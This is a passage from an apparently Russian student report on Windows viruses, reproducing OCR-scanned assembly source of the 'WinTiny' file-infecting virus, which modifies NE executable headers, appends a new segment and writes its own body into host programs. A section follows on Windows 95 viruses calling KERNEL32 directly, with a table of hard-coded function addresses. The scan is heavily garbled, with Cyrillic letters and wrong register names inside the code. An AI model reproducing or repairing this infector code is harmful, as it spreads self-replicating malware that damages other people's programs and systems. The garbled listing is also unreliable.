RSS    

   Доклад: Вирусы под Windows

;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [hostJp]

pushTWORD PTR [new_hdr+16h]
pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

.Переместим указатель чтения/записи в начало файла
;(к старому заголовку)

хог сх.сх

xor dx.dx

mov ax,4200h

int 21 h

;3апишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти

mov dx.OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21 h

;Переместим указатель чтения/записи на начало нового
заголовка (его переместили на 8 байт к началу файла)

mov dx.WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

mov ax,4200h
int 21 h

;3апишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы

mov dx, OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

.Переместим указатель чтения/записи на 8 байт
;вперед - к началу таблицы сегментов

хог сх.сх

mov dx,8

mov ax,4201 h

int 21h

рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx.WORD PTR [new_hdr+1ch]
dec ex
shi cx.3
push ex
mov ah,3Fh
int 21h

Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,-1

mov ax,4201h

int 21h

;3апишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

pop ex

mov ah,40h

int 21h

.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx.dx
mov^ ax,4201h
int 21 h

;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax

.Получим длину файла, переместив указатель
^тения/записи в конец файла

xor сх.сх

xor dx,dx

mov ax,4202h

int 21 h

;Сохраним в стеке длину файла
push dx
push ax

;Вычислим и сохраним длину логического сектора
mov cx.WORD PTR [new_hdr+32h]
mov ax,1
shi ax.cl
mov [log_sec_len],ax

;Вычислим длину файла в логических секторах
mov сх.ах
pop ax
pop dx
div ex

-.Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов

or dx,dx

jz no_rmd

inc ax
no_rmd:

;3аполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax

3-1436

mov [my_seg_entry+2],OFFSET vir_end

mov [my_seg_entry+4],180h

mov [my_seg_entry+6],OFFSET vir_end

;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop ex

Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21 h

.Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov ex,8
mov ah,40h
int 21 h

;Скопируем тело вируса в область памяти, которую выделили

;в начале программы, для изменений в нем. В защищенном режиме

;(а работаем именно в нем), нельзя производить запись в сегмент

;кода. Если по какой-то причине нужно произвести изменение

;в сегменте кода, создается алиасный дескриптор данных

;(дескриптор, содержащий то же смещение и длину,

;что и сегмент кода), и дальнейшая работа ведется с ним.

;В данном случае просто воспользуемся выделенным блоком памяти

push ds

pop es

push cs

pop ds

xor si,si

mov di,OFFSET temp

mov ex,OFFSET vir_end

eld

rep movsb

push es

pop ds

Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+reloc!P],0
mov WORD PTR [si+relocCS],OFFFFh

Переместим указатель чтения/записи на новую точку входа

mov ax,[my_seg_entry]

mov cx,[log_sec_len]

mul ex

mov cx.dx

mov dx.ax

mov ax,4200h

int 21h

;3апишем тело вируса в файл

mov dx, OFFSET temp

mov ex,OFFSET vir_end

mov ah,40h

int 21h

.Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET reloclP

;3апишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov ex, 10
mov ah,40h
int 21h

[Закроем файл
mov ah,3Eh
int 21h

.Освободим выделенный блок памяти
call free

;3апустим программу-носитель
jmp exit

.Процедура, освобождающая выделенный блок памяти
free PROC NEAR

mov ax,0502h

mov si,[mem_hnd]

mov di,[mem_hnd+2]

з*

int 31 h
ret
free ENDP

; Маска для поиска файлов
wild_exe DB "•ЕХЕ-.О

;Имя вируса

DB "WinTiny"

;Идентификатор, указывающий на конец инициализированных данных
vir_end:

.Индекс выделенного блока памяти
mem_hnd DW ?
DW ?

;Адрес текущей DTA
DTA DW ?
DW ?

;Место для хранения старого заголовка
olcLhdr DB 40h dup (?)

.Место для хранения нового заголовка
new_hdr DB 40h dup (?)

;Длина логического номера сектора
log_sec_len DW ?

; Новый элемент в таблице сегментов
my_seg_entry DW ?

DW ?

DW ?

DW ?

.Перемещаемый элемент
reloc_dataDW ?

DB ?

DB ?

DW?

;3начение оригинальной точки входа
host_cs DW ?
hostJp DW ?

;0бласть памяти для использования
temp DB ?
END

Вирусы под Windows 95

Формат Portable Executable используется Win32, Windows NT
и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-
но отличается от NE-executable, используемого в Windows 3.11.

вызов Windows 95 API

Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли-
цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.

Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.

Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.

Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.

Вызов API приложениями выглядит приблизительно так:

call APLFUNCTIONJMAME
например:

call CreateFileA
После компиляции этот вызов выглядит так:

db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:

push function value
call Module Entrypoint

Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены
адреса функций, которые нужны для работы вируса.

Таблица 3.1. Адреса некоторых функций KERNEL

Функция Адрес в June Test Release

Адрес в August Test
Release

GetCurrentDir BFF77744h BFF77744h
SetCurrentDir BFF7771Dh BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
MessageBox BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh BFF778CBh
CreateFile BFF77817h BFF77817h
SetFilePointer BFF76FAOh BFF76FAOh
ReadFile BFF75806h BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h


Страницы: 1, 2, 3, 4


Новости


Быстрый поиск

Группа вКонтакте: новости

Пока нет

Новости в Twitter и Facebook

                   

Новости

© 2010.